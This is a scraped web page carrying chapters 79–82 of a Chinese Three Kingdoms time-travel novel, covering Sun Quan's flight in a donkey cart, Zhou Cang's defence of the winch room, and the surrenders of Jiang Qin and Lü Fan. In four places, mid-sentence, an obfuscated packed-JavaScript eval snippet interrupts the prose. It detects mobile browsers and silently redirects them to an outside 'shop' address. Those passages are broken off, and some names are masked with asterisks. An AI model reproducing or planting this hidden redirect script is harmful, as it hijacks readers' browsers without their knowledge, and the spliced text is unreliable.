孙权亲自驾着那辆夺来的驴车,在坑洼不平的野路上颠簸狂奔,木制的车轮不时发出痛苦的呻吟。 潘璋与百余名残兵徒步紧跟在左右,人人汗流浃背,喘息粗重,不少士卒为了跟上步伐,甚至连手中的兵刃都丢弃了,两手空空的。 “火!江津渡……江津渡起火了!” 这时,队伍中一名士卒突然指向西面夜空,声音因惊惧而变调。 所有人猛地停下脚步回头望去,只见江津渡方向已是火光冲天,烈焰将那片天空染成橘红色,即便相隔数十里,众人依旧清晰可见! 孙权驾着驴车狂奔,眼角余光瞥见西面夜空被火光映红,心头猛地一紧,但孙权却只是狠狠一抖缰绳,嘶声吼道:“休要理会!速速南行!” 驴车在坑洼路面上颠簸得更急,孙权强压下心头的惊涛骇浪,目光死死盯着前方黑暗。 “果然……江津渡果然出事了!” 此刻的孙权内心是既后怕又庆幸,若我方才径直前往江津渡,而非临时转意向南,此刻……此刻怕是已陷入重围,或是葬身火海了! 而孙权为何会出现在这里,而非前往江津渡,那就要回到约半个时辰前。 孙权潘璋等人架着驴车冲出荆州大营不久后。 “主公,往西!往前数里便是江津渡了!凌统将军尚有千余兵马留守,上了船便安全了!”潘璋当时急切地指着西方。 惊魂未定的孙权闻言,自然是不及细想,几乎是本能地驾着驴车朝西面的江津渡方向疾驰。 那里有他的战船,还有凌统率领的千余守军,亦是孙权最直接的生路。 然而驶出不到二里地,一股强烈的不安突然攫住了孙权心头,孙权猛地勒紧缰绳,驴车速度骤减。 “不对……”孙权望着西面黑暗中的道路,冷汗瞬间浸湿了后背,“刘琦既能识破公覆诈降计,设下如此埋伏,岂会忽略江津渡?” 江津渡……此刻必有荆州伏兵,此刻去就是,自投罗网怕! 这万千思绪在孙权脑海一闪而过,于是孙权立马对身旁的潘璋说道: “转向,向南!去江边!” “向南?”潘璋一愣,脸上写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在这千钧一发之际,潘璋猛地停下脚步,转身面向追兵,嘶声怒吼: “养兵千日,用兵一时!孙氏厚待我等多年,今日正是报效之时!” 潘璋高举战刀,对着残存的士卒喊道:“愿为孙氏效死者,随某断后!” 那些疲惫不堪的江东士卒闻言,纷纷咬牙转身。 有人嘶声响应:“潘将军说的是!孙将军待我等恩重如山!” “誓死护卫主公!” 而更多疲惫不堪的江东士卒见主将率先停下,也纷纷咬牙转身,在潘璋身旁结成一道单薄的防线。 孙权回头望去,只见潘璋挺立在月光下,身影在追兵的火把映照下显得格外悲壮。 瞬间孙权心头一悲,眼眶不禁湿润——这等忠勇之士,今日竟要为他赴死! “文珪……”孙权喃喃低语,手中缰绳攥得更紧。 但孙权知道此刻不是伤感的时候,只能强忍悲痛,驾着驴车继续向前冲去。 潘璋回头望见孙权远去的身影,脸上露出一丝释然的笑容,随即转身面对汹涌而来的追兵,战刀在月光下泛起寒光:“来吧!让尔等见识江东好汉的骨气!” 第80章 邓龙狂笑:你主子呢?跪迎我主! 荆州大营内 此时的战事已逐渐平息。 刘琦在一众将领的簇拥下巡视着遍地狼藉的战场。 空气中弥漫着硝烟与血腥的气味,伤兵的呻吟与收殓尸体的吆喝声此起彼伏。 这时刘琦脚步在一处堆放辎重的角落停下。 几辆歪斜的驴车散落其间,其中一辆的套索已被利刃斩断,车上杂物散落满地。 刘琦伸手拍了拍那辆空驴车的护栏,饶有兴致地打量道:“孙权便是从此处夺了辆驴车逃命的?” 身旁将领立刻躬身回应:“正是。当时贼首孙权逃至此处,亲兵斩断套索,夺了辆驴车仓皇逃出营地,我等追之莫及。” 刘琦闻言轻笑,眼底掠过一丝微妙的笑意。 想到孙权驾着驴车逃跑的样子,刘琦就不由得想起那个在后世被网友戏称为“驴车战神”的赵光义,不想今日在这江夏大营,竟亲眼见证了另一位“驴车战神”的诞生——只是这回的主角,换成了那位碧眼紫髯的吴主。 “倒是个机变的。” 刘琦轻抚着护栏上的刀痕,语气里带着几分玩味,“传令下去,将这节护栏保存好,将来或可送还江东。” “诺。”将领躬身应下。 这时黄忠大步走来,甲胄上满是血污:“主公,各营已基本控制局势,正在清点伤亡。” “只是……” “只是末将一路追至江津渡与宋谦所部汇合,都未见到孙权踪迹,不知这厮逃往何处去了?” 闻言,刘琦不禁皱了皱眉,心中暗自嘀咕:这孙权驾着辆驴车,倒真成了个驴车战神,竟能跑得无影无踪? “传令各营!” 刘琦语气转冷,“孙权定然藏匿在江北某处。命各部仔细搜查,便是搜山检海,也要将他擒获!” 宋谦已将江津渡所有江东船只焚毁,孙权归路已断。 此刻孙权要么已葬身火海,要么就如丧家之犬般在江北某处藏匿。 以他身份,绝无可能混在溃兵中,定是躲在某个隐蔽之处。 “诺!” 四周将校齐声应诺,声震四野。 刘琦微微颔首,随即转向黄忠与匆匆赶来的王朗:“汉升、仲宣,战场扫尾之事便托付二位了,负隅顽抗者,格杀勿论,降卒暂押,待孔明处置。” “末将领命!” 黄忠,王朗二人当即抱拳领命。 刘琦又对紧随其后的诸葛亮道:“孔明,此番大战缴获甚多,降卒亦众,清点受损物资、安置俘虏这些繁琐政务,就劳你多费心了。” 诸葛亮轻摇羽扇:“主公放心,亮自当尽力,各营缴获已命**官分册登记,降卒亦按籍贯分别安置。” 最后,刘琦看向侍立一旁的陈应与庞统:“陈应,即刻点齐襄阳锐士!士元随我同往夏口北门,会一会周瑜!” 刘琦目光扫过刚刚经历血战的将士们,见不少人身上带伤,甲胄残破,脸上尽是疲惫之色。 但周仓为大局甘入险境,我先前已许诺两个时辰内必至,岂可失信? “末将遵命!”陈应抱拳领命。 庞统抚掌笑道:“正当如此!” 片刻之后,刘琦翻身上马,率军向着夏口北门疾驰而去。 而此时的夏口北门。 绞盘室内,周仓拄着卷刃的长刀,剧烈地喘息着。 箭矢从他左肩透甲而入,随着他每一次呼吸,都有血沫从伤口渗出。 周仓环视身边,八百弟兄如今只剩下百号人了。 且个个带伤,却仍死死守住这处最后的据点。 一个时辰前,面对吕范所率领的精锐甲士,周仓硬是在重重围堵中杀出一条血路,率领残部退守至此。 周仓环视这些追随他死战的弟兄,强打起精神:“再坚持片刻!主公说过两个时辰内必到!” 周仓这话既是对部下说,更是对自己说的。 事到如今,周仓也只能也必须相信这个承诺,这时周仓支撑他们在这绝境中坚守下去的唯一信念。 “守住绞盘室!待主公大军一到,我们立即打开城门,到时便是大功一件!升官晋爵不在话下,金银财帛任尔等取用!” 周仓嘶声鼓舞着部下,同时也在鼓舞着自己。 而在外面,吕范听着周仓即便是处于绝境中,竟然还想着鼓舞士气。 这样的坚韧,让吕范都有些为之动容了。 至于周仓高喊的刘琦两个时辰内必到。 吕范是有些嗤之以鼻,你周仓还指望刘琦派出援军来救你,殊不知,你所指望的刘琦此时恐怕已被吴侯与黄老将军里应外合,杀得片甲不留了!。 吕范了眼荆州大营方向,只见那里同样是火光冲天,厮杀之声响彻云霄。 而正是如此,吕范才实在无法理解——周仓所部已陷入绝境,随他入城的千余世家兵几乎伤亡殆尽,为何这百余人仍要死守? 而吕范这时,突然想起之前周瑜见周仓进城是领兵行事谨慎颇有大将,对周仓即将死于自己的伏击之下带有几分惋惜。 而周仓此刻即便陷入绝境,仍然打算据险而守的态势,这般忠勇也让吕范心中不免升起几分稀才之意。 这等将领良将,竟要为那刘琦陪葬,实在可惜。 那刘琦此刻恐怕早已在主公大军面前溃败,这等忠勇之士却还在此死守,实在不值。 若能为吴侯招揽这等人才,方不负周仓这一身本事。 念此,吕范整了整衣冠,亲自上前,语气诚恳道:“荆州大营已火光冲天,杀声震野,想必此刻刘琦已兵败身死!尔等在此死守,还有何意义?” “而以将军之才,若愿归顺吴侯,必能大展宏图,封侯拜将不在话下!” 在吕范想来,自己这般以礼相劝,又给足了台阶,任谁处于这等绝境,都该感恩戴德地归降了吧。 吕范甚至已经想好了,待会要如何向周瑜禀报这个好消息。 谁料绞盘室内传来的怒喝,却让吕范瞬间变了脸色: “江东鼠辈休要聒噪!俺周仓若是贪生怕死之徒,当初就不会主动请缨来闯你这龙潭虎穴!” 周仓这话中隐含的意味,若是平日吕范自然能听出来周仓是故意而来, 但此刻吕范已被周仓的不识抬举给彻底激怒,自动忽略了周仓话中深意。 “好!好!好!”吕范连说三个好字,脸色铁青,“既然你执意求死,吕某便成全你的忠义!” 说着,吕范猛地挥手下令: “全军听令!强攻绞盘室,格杀勿论!” 而就在吕范下令强攻绞盘室的同时,城外的蒋钦却陷入了进退两难的尴尬境地。 按照周瑜战前的推演,荆州偏师前来接手夏口北门必定谨慎行事。 因此周瑜安排蒋钦率领一支伏兵在城外,若敌军谨慎不率全军入城,那蒋钦就在城门关闭、截断敌军时趁乱突击截断在外的荆州军。 战事初起时,一切确实如周瑜所料。 是以,当周仓率部入城、城门轰然关闭的瞬间,被截在城外的荆州军顿时陷入混乱。 “杀!”蒋钦亲率伏兵杀出,一时间如虎入羊群。 失去主将指挥的荆州军各自为战,被蒋钦杀的人仰马翻。 “不要乱!结阵,结阵!”乱军之中,一员将领突然振臂高呼指挥着慌乱的士卒。 而指挥士卒的正是黄祖旧部邓龙! 先前黄祖被孙策阵斩时,邓龙便趁乱率部突围,一路南逃至江南隐匿。 直到不久前,旧友苏飞在安陆会盟后特意来信,称刘琦仁厚明理,是可托付之主。 邓龙这才下定决心重返江夏,在安陆稍作整顿后,便随黄月英一同来到了夏口。 就在邓龙指挥部下结阵御敌时,蒋钦率亲兵杀到近前。 两人四目相对,顿时认出了对方——这些年江东与黄祖旧部交战不断,彼此早已是沙场老对手。 “邓龙!昔日让你走脱,今日竟还敢回来送死!”蒋钦厉声喝道。 邓龙**一挺,直取蒋钦而来:“蒋钦休要猖狂!今日便叫你知道,江夏儿郎从未怕过你江东鼠辈!” “铛!”刀枪相交,迸出一串火花。 都是老对手,互相都知道双方深浅,所以二人上来就全力以赴,顿时战作一团。 二人转眼间过了三十余合,刀来枪往,竟是谁也奈何不了谁。 而正当二人缠斗间,只见先前慌乱的荆州军竟然并没有在蒋钦的料想中继续慌乱下去。 只见那些原本混乱的荆州军,竟在各部军官指挥下渐渐重振旗鼓! 见此,蒋钦心中大惊,这是什么部曲,竟然在主将深陷重围生死不明,群龙无首之间,自己就能扫除慌乱,整顿士卒恢复军阵。 于是,蒋钦虚晃一刀逼退邓龙,厉声质问: “这究竟是什么部曲?主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723437|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将深陷重围,群龙无首,竟能自行整顿军阵?!” 邓龙见蒋钦震惊神色,不由长笑一声,突然奋力一击: “铛!” 蒋钦被这突如其来的一击震退数步。 “蒋公奕,临阵厮杀竟敢分神?” 邓龙枪尖遥指,语带讥讽,“你莫不是以为,离了主将,荆州军就不会打仗了?” 原来,这些被截在城外的荆州军,本就是各世家私兵与黄祖旧部混编。 半月前,他们还是各家部曲本就各自为战,此刻见邓龙挺身而出,各部军官自然效仿: “安陆部结阵!” “江夏部向中军靠拢!” “**手上前!” 正是这种独特的编制,让荆州军在失去主将后反而更快地恢复了战力。 各部军官各自统领本部,迅速结成了数个坚固的战阵。 蒋钦环视四周,心头一沉。 只见这些荆州军虽然缺乏统一指挥,却凭着各自为战的经验,竟然在乱战中形成了大大小小的军阵。 这些军阵互为犄角,虽略显杂乱,却彼此呼应。 若是平日,蒋钦面对这等各自为战的弱智阵势,蒋钦只需集中优势兵力,便可逐个击破。 但此刻..... 周瑜就只给了他有一千五百兵马为伏兵,与城外荆州军兵力相当。 先前若不是趁着荆州军慌乱之际,突袭占了点便利,趁乱杀敌,否则蒋钦根本占不到半点便宜。 如今敌军既已稳住阵脚,这一千五百人面对十余个互为犄角的军阵,反倒显得捉襟见肘。 而邓龙自然是看出蒋钦的窘迫,朗声长笑:“蒋公奕,可是在愁兵力不足?” “这等阵势,若给你五千精兵,确实不堪一击,可惜啊可惜……” 邓龙这话正说中蒋钦心事,让他一时语塞。 但蒋钦随即在心底冷笑: “邓龙啊邓龙,且容你得意片刻。待主公孙权大破刘琦,班师归来,看你还能否这般嚣张!” 蒋钦手中大刀一紧,朗声喝道:“邓龙,胜负尚未可知!待我主得胜,看你还能猖狂几时!” 说罢,二人再度战作一团。 如此又厮杀了约一刻钟,蒋钦忽见一骑斥候自南面飞驰而来,神色仓皇。 “将军!大事不好!” 斥候滚鞍下马,声音发颤,“南方五里外发现敌军,打着''刘''字旗号,正朝这边疾驰而来!” 几乎同时,邓龙也接到了己方斥候的急报。 顿时,邓龙精神大振,**一指,放声大笑: “蒋公奕,你先前不是口口声声说你主大军将至吗?” “如今来的怎么是我主旗号?莫不是你已经暗中归顺?若如此还不快快放下兵刃恭迎我主!” 蒋钦**龙这番嘲讽气得面色铁青,但却已无暇争辩,而是如何全身而退。 如今外有邓龙率领的荆州军死死纠缠,让他无法脱身。 内有周仓据守绞盘室断了蒋钦退回城内的路,更可怕的是期待中的援军未至,反而敌军援兵已到! “传令全军!” 蒋钦咬牙嘶吼,“各自突围,能走多少是多少!” 而蒋钦命令下达,江东军很快便四处突围。 而邓龙见蒋钦欲逃,心中快意无比。 先前黄公战败,他随败军溃逃,被你江东军一路追杀,险些跳江求生。 今日天理循环,也该让你蒋钦尝尝这等滋味了! 邓龙枪尖一指,声震四野: “全军听令!主公援军即刻就到,务必缠住敌军,一个都不许放跑!” 说着,邓龙就冲上**死纠缠住想走的蒋钦。 蒋钦见邓龙如附骨之蛆般缠斗不休,心中又急又怒。 蒋钦连劈三刀想要逼退邓龙,却都**龙那杆**稳稳架住。 “邓龙!你非要拼个鱼死网破不成?”蒋钦怒吼道,额角青筋暴起。 邓龙**如蛟龙出海,招招不离蒋钦要害,冷笑道:“当初被你们追杀时,可曾想过网开一面?” 就在二人缠斗之际,南方轰轰的步伐声如雷鸣般逼近。 只见刘字大旗迎风招展,刘琦亲率襄阳锐士已杀到夏口城外! 而刘琦自然是见到还在于邓龙缠斗的蒋钦。 是以,刘琦一声令下:“将那敌将拿下!” 命令一出,数百名襄阳锐士立即列阵前压。 第81章 主公来了!吕范献城! 是以,刘琦一声令下:“将那敌将拿下!” 命令一出,数百名襄阳锐士立即列阵前压。 这些精锐士卒步伐整齐,甲胄铿锵,**如林般向前推进,瞬间就将蒋钦残部围得水泄不通。 蒋钦环视四周,但见: 内圈是邓龙所部死死纠缠,外圈是襄阳锐士铁桶般的包围。 放眼望去,尽是寒光闪闪的枪戟,层层叠叠,密不透风。 蒋钦奋力格开邓龙一枪,喘息着后退数步,绝望地发现已无路可退。 “将军!”副将浑身是血地靠过来,声音颤抖,“突......突不出去了!” 蒋钦望着那些步步紧逼如铁桶般合围而来的襄阳锐士,又看了眼身边仅存的百余名面露惊惶的士卒,蒋钦心中百感交集。 既愤恨于孙权不听劝阻一意孤行,又无奈于局势的无可挽回。 这数月来的战事历历在目:四月,孙策虽阵斩黄祖夺取江夏,但随后却在津乡被刘琦大败,损兵折将不说,连同自己也身受重伤不治而亡。 随后孙权继位后他与吕范多次劝谏,认为当务之急是暂弃江夏,退回江东巩固内政。 可孙权一意孤行,执意要取江夏。 如今看来,这一切都是徒劳——刘琦既已出现在此,说明黄盖诈降之计已然败露,只怕孙权亲率的那万余精锐也已凶多吉少。 念此,蒋钦将手中大刀一丢,“哐当“一声落地。 既然大势已去,蒋钦又忍心让这些忠心追随的儿郎白白送死? “罢!罢!罢!“蒋钦长叹一声,推开想要扶住他的亲兵,朝着刘琦方向单膝跪地: “败将蒋钦......愿降!” 邓龙见状,不由得撇了撇嘴。 他本指望能好好教训一下这蒋钦,以报当初**东士卒一路追杀之仇。 谁知蒋钦竟如此干脆地投降了,倒让邓龙满腔战意无处发泄。 “将这厮绑了!”邓龙挥手下令,语气中带着几分扫兴。 随后邓龙亲自押着蒋钦,朝刘琦所在走去。 而此时夏口城墙上的绞盘室内,周仓拄着卷刃的长刀,望着身边仅存的六七十名弟兄,心头沉重。 吕范所部的猛攻一波猛过一波,木门上已布满裂痕,守军箭矢早已用尽,全凭血肉之躯在苦苦支撑。 “大当家的,东侧缺口快守不住了!” 一个满脸是血的士卒,快步走到周仓跟前嘶声喊道。 见状,周仓正要亲自去堵缺口,却忽然发现外面的喊杀声渐渐停歇。 更令周仓诧异的是,原本密集的撞击声也消失了,取而代之的是一片慌乱的嘈杂声。 “退了!江东军退了!” 而处于前头的士卒有几名胆大的走出绞盘室,只见先前还挥戈执矛往里厮杀的江东士卒,此刻间却如潮水般退去。 闻此消息,后边的周仓等人面面相觑,几乎不敢相信这个突如其来的转机。 片刻的死寂后,不知是谁先发出一声如释重负的叹息,接着便是此起彼伏的喘息声。 不管江东军为何退去,但与周仓等人而言,也算是一幸事,至少能让他们喘口气了。 良久,周仓见外面始终没有新的动静,这才小心地推开绞盘室那扇残破的木门,缓步走出。 而眼前的景象让周仓怔住了。 方才还如潮水般猛攻的江东军,此刻竟全都朝着城外的方向张望,个个面色惶惶。 吕范更是死死攥着城墙垛口,脸上写满了难以置信的惊恐。 而顺着他们的目光望去,周仓赫然看见那面在晚风中猎猎作响的“刘“字大旗! “是主公......主公来了!” 周仓扶着墙垣,望着城外那支威风凛凛的大军,先是愣了片刻,随即那张布满血迹和汗渍的脸上绽放出狂喜之色,忍不住仰天大笑,苦战多时的疲惫和身上的伤口疼痛仿佛一扫而空。 “哈哈哈哈!主公果真来了!主公果真在两个时辰内到了!” 周仓转身对着陆续走出来的部下,声音因激动而颤抖: “弟兄们看见没有?俺说了主公两个时辰内到必到吧!” 但周仓说着说着,语气中竟有些哽咽,低声喃喃自语: “主公没骗我......真的没骗我......两个时辰内必至.....” 先前在绝境中,周仓反复用“两个时辰内必至“来鼓舞士气,与其说是鼓舞士气,倒不如说是给自己一个支撑下去的信念。 而周仓这幸存几十号弟兄的闻言,顿时爆发出震天的欢呼。 有人相拥而泣,有人跪地感谢上苍,更有人激动地拍打着彼此的肩膀。 这两个时辰的生死煎熬,此刻都化作了劫后余生的狂喜。 就在这欢呼声中,周仓猛地回过神来。 周仓抹了把脸,强压下激动的情绪,厉声喝道: “现在还不是庆贺的时候!快,打开城门迎接主公!” 说着,周仓率先冲向绞盘,幸存的士卒也立即反应过来,纷纷跟上。 在众人合力之下,沉重的绞盘缓缓转动,紧闭许久的夏口北门终于徐徐开启。 就在周仓打开城门的同时,刘琦已从降将蒋钦口中得知城内虚实。 刘琦凝望着洞开的城门,眉头微蹙——这究竟是周仓成功守住了城门,然后开启的城门,还是周瑜的又一出引君入瓮之计? 庞统在旁低声道:“主公,周仓所率不过千余杂兵,面对周瑜有心设伏,能否坚守至今尚未可知。此时城门突开,当下有诈。” 而刘琦也正为此担忧,周仓虽然勇猛,但从蒋钦口中得知城内虚实后,刘琦实在难以相信周仓能在如此劣势下坚持到现在。 四千兵马被截去一半在城外,周仓仅率不足两千人陷入瓮城,面对周瑜精心布置的埋伏,可谓九死一生。 更不用说还要杀出一条血路占领绞盘室,这简直难如登天。 正当刘琦犹豫是否该先派一支小队入城查探时,刚降的蒋钦上前躬身**:“明公!” “吕子衡(吕范)与末将素有深交,每每谈及战事,常对孙仲谋(孙权)刚愎自用深感忧虑。” “如今大势已去,末将愿往说降吕子衡投于明公麾下。” 蒋钦深知自己初降新主,若不立即立功,难保不会遭人轻视。 而吕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732428|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 范与他相交多年,先前二人私下常对孙权的刚愎自用摇头叹息。 如今若能劝得老友来降,既能在新主面前展现诚意,又能拉挚友一把,实是两全其美。 庞统闻言,向刘琦微微颔首:“蒋将军所言在理。若能说降吕范,既可验明虚实,又能免去刀兵之灾。” 刘琦见庞统也这般说,当即准允:“既然如此,就劳烦蒋将军走这一遭。” 领命后,蒋钦单骑来到城下,仰头高呼:“子衡!且听蒋某一言!” “孙仲谋万余精锐已在荆州大营全军覆没,此刻尸横遍野!周都督纵有通天之能,如今困守孤城,外无援兵,内无粮草,此刻不降更待何时?!” 蒋钦这番话如惊雷炸响,城头上的江东士卒顿时骚动起来。 有人惊恐地交头接耳,有人绝望地瘫坐在地,更有人已经悄悄松开了握紧兵器的手。 城头的吕范俯视着这个昔日同僚,神色复杂。 此刻的吕范,比之前的蒋钦更加绝望,更加愤恨。 蒋钦的愤恨绝望,更多是困兽之斗的愤懑,是孙权屡谏不从的怨气。 而吕范作为追随孙氏多年的老臣,则看到的是更深层的危机 孙策、孙权兄弟在江夏接连折损数万精锐,江东野战之卒已十去七八。 对于孙氏这种靠武力刚建立数年的政权来说,这等损失可谓伤筋动骨,已然摇摇欲坠。 而等此战败讯传回江东,当年孙策以雷霆手段夺取江东,屠戮过甚,结怨太多,那些被孙氏武力压制的山越部族、心怀异志的世家大族,必将群起发难。 而这时,城下的蒋钦,见吕范站在墙头沉默不语,误以为这吕范要为孙权尽忠职守,便继续劝道:“子衡!” “孙仲谋不听良言,致有今日之败。难道你要为这等庸主殉葬吗?” 吕范望着城外严阵以待的荆州大军,又回头看了眼城内惶惶不安的士卒,长叹一声:“公奕(蒋钦)不必多言……” 吕范缓缓解下腰间佩剑,对城下高声道:“我这就开城投降,还请公奕为我引荐刘府君。” 此刻吕范心中已有计较,既然大势已去,不如主动投诚。 而周瑜此刻正在府中养病,若能助新主擒获这位江东都督,必是大功一件。 虽然吕范向来重义,实在不愿行此卖主求荣之事。 但既已决定改换门庭,吕范也深知在这乱世之中,若想在新主麾下立足,就不得不献上一份够分量的投名状。 蒋钦在城下听得吕范应答,当即朗声应道:“子衡放心!蒋某必当为兄引荐!” 不过半刻钟工夫,蒋钦便见那黑幽幽的门洞内走出三个人影。 吕范卸了甲胄,只着一袭青衫,在两名护卫的陪同下缓步而出。 蒋钦迎上前去,二人相视一眼,俱是无声。 蒋钦微微颔首,吕范会意,三人便径直朝着刘琦大军所在行去。 来到刘琦马前,吕范整了整衣冠,单膝跪地: “败将吕范,愿降明公。” 刘琦端坐马背上,目光扫过洞开的城门,沉声问道:“如今城内局势如何?尚有多少兵马?” 第82章 周瑜:你降了! “败将吕范,愿降明公。” 刘琦端坐马背上,目光扫过洞开的城门,沉声问道:“如今城内局势如何?尚有多少兵马?” 吕范抬起头,语气谨慎地回禀:“明公,如今城内除末将所部千余人外,周瑜麾下尚有两三千兵马,另有数百伤兵分散各处。” 刘琦听后点了点头,追问道:“方才城门洞开,可是周瑜又施诡计?” “非是周瑜之计。” 吕范连忙解释,“乃是周仓将军死守绞盘室,苦战至今,见明公大军到来便打开城门。” 说到周仓,吕范也不知是真心还是假意,直接在刘琦面前吹捧起周仓:“明公麾下这周将军当真了得,以区区数百残兵,竟能在重重围困中坚守两个时辰,实乃当世虎将!” “周仓还活着?” 刘琦闻言,眼中闪过惊喜之色,立即对左右吩咐,“快,传周仓来见!” 不多时,周仓在两名士卒搀扶下蹒跚而来。 周仓浑身是血,甲胄残破,却仍强撑着要行军礼。 刘琦急忙下马相迎,亲手扶住周仓。 “元福!(周仓字)” “这一战苦了你了!” 周仓强忍伤痛,挺直身躯,声音虽沙哑却异常坚定: “为主公效力,在所不辞!” 这句话虽简短,却让在场众人无不动容。 刘琦凝视着周仓满是血污的脸庞,良久才重重点头,转身对众将道: “今日若论首功,非元福莫属!” 周仓激动得热泪盈眶,还要说什么,却被刘琦止住,命人即刻送他下去医治。 而此时刘琦部众已陆续接管北门城防,控制了各处要冲。 是以,刘琦正待率众入城,吕范却一咬牙,强压下心头那份羞耻,上前一步单膝跪地:“明公,周瑜此刻正在都督府中养病,尚不知城防已失。” “末将愿领一支精锐,以汇报军情为由直入其寝处,必可兵不血刃擒获周瑜!” 吕范这话一出,在场众将的目光齐刷刷投向吕范。 在众人各异的注视下,吕范有些羞愧地垂下头,随后声音虽低却异常坚定:“此战末将寸功未立,愿以此微劳,报效明公接纳之恩。” 刘琦闻言,眼中精光一闪,当即抚掌笑道:“好!若能兵不血刃擒下周瑜,子衡当记大功!” 刘琦心道:吕范此计若成,可免去多少士卒伤亡;若败,亦可试出吕范真心,无论如何,于我皆有利。 刘琦略作思忖,转向**:“子烈,你与子衡同去,彼此也好有个照应。” **,字子烈,庐江人士,因犯事逃亡至襄阳。 自刘琦穿越而来后,听闻此名后刘琦心中虽然有些惊奇,但未多想,毕竟同名之人何其多也。 但随后刘琦与其几番交谈下来,发现此人不但武艺超群,更难得的是谈吐间颇有见识,绝非寻常武夫。 刘琦由此断定,这必是未来那位江表十二虎臣之一的**。 至于为何历史轨迹改变,未随孙策而去,跑到襄阳被原主收入府中做护卫,那刘琦就不得而知了。 不过刘琦记得史书中明确记载,这位**乃是江东有名的领兵将领,既能在青史留名,必有其过人之处。 故而自出襄阳以来,刘琦几次三番想将**外放为将,让他独当一面。 只是**始终以只善护卫,不谙统兵为由,屡次婉拒刘琦提拔之意。 想到这里,刘琦心中暗叹:这般将才,岂能长久屈居护卫之职? 是以,今日刘琦便让**随吕范一同去擒获周瑜,一来也是既是要监视吕范,防止他临阵反复,二来是要给**一个建功立业的机会,为**日后外放铺路。 虽说刘琦身为主公,大可一纸令下便将**外放为将。 但刘琦更明白,若无军功在身,贸然提拔只会让其余将士不服。 今日这个机会正好——既让**立下擒拿周瑜的大功,又顺势考察吕范诚意,可谓一箭双雕。 待**建功归来,再行封赏便名正言顺,任谁也无话可说。 想到这里,刘琦嘴角微扬。 这乱世之中,其他诸侯为识人用人殚精竭虑,既要发掘人才,又要担心所托非人,又要防备部下怀有二心。 但刘琦不同——青史如镜,早已将每个人的才能品性照得分明。 而但凡能在史书上留名的,能力自然毋庸置疑。 至于忠诚,刘琦始终相信君以国士待我,我必国士报之的道理。 只要自己能做到解衣推食,以诚相待,再给臣属一个光明前程,九成九的人都愿以死相报。 **闻言微微一怔,随即抱拳道:“末将领命!” 吕范见刘琦派来的是贴身护卫统领,心中既感压力,又觉宽慰。 压力在于,此行若有半点差池,必被当场格杀,宽慰在于,这至少说明刘琦有意用他,而非单纯疑他。 “末将定不负明公所托。”吕范深深一揖后,领着一队士卒与**并肩往都督府方向而去。 刘琦目送**与吕范的身影消失在长街尽头,随即转向侍立一旁的陈应:“你即刻率襄阳锐士控制城中各要道,但凡遇到负隅顽抗者,格杀勿论!” 陈应抱拳领命:“末将明白!” 随后,陈应当即点齐麾下襄阳锐士,分作数队疾驰接管夏口各处要道。 而此时都督府内室中,周瑜卧在榻上,脸色惨白如纸,紧捂胸口,额间渗出细密冷汗,每一次呼吸都带着嘶哑的杂音。 忽然胸口一阵剧痛袭来,周瑜猛地蜷缩起身子,手指死死攥住衣襟,指节因用力而发白。 胸口是不是的疼痛,这些症状周瑜自那夜被刘琦书信气得呕血后苏醒后便时常发作。 而此时,吕范**也来到了都督府外。 但见朱漆大门紧闭,门前肃立着八名持戟卫士。 见状吕范理了理衣冠,带着**等士卒上前朗声道:“我乃吕范有紧急军情,要禀报都督!” 门前卫士见是吕范,当即躬身行礼:“吕将......” 然话音未落,**已如猎豹般疾步而前。 刀光一闪,当先两名卫士喉间已现血线。 其余精锐一拥而上,刀剑齐出,不过瞬息之间,八名卫士已尽数倒地。 “开门!” **低喝。 两名士卒奋力推开沉重的大门。 府内闻声赶来的护卫尚未弄清状况,便见吕范率众涌入, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732429|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀光剑影间,又是一阵短促的厮杀声。 吕范面不改色,踩着满地血污大步向前。 这一路上但凡遇到护卫,**皆是毫不留情地率众扑杀,根本不给对方开口的机会。 不过片刻功夫,众人已杀到内院门前。 吕范站在门槛处,望着院内熟悉的景致,深吸一口气,率先迈入这座江东军的核心所在。 当吕范与**推门而入时,周瑜正倚在榻上。 周瑜的目光在吕范脸上停留片刻,又扫过**陌生的面孔,最后落在吕范略显闪躲的眼神上。 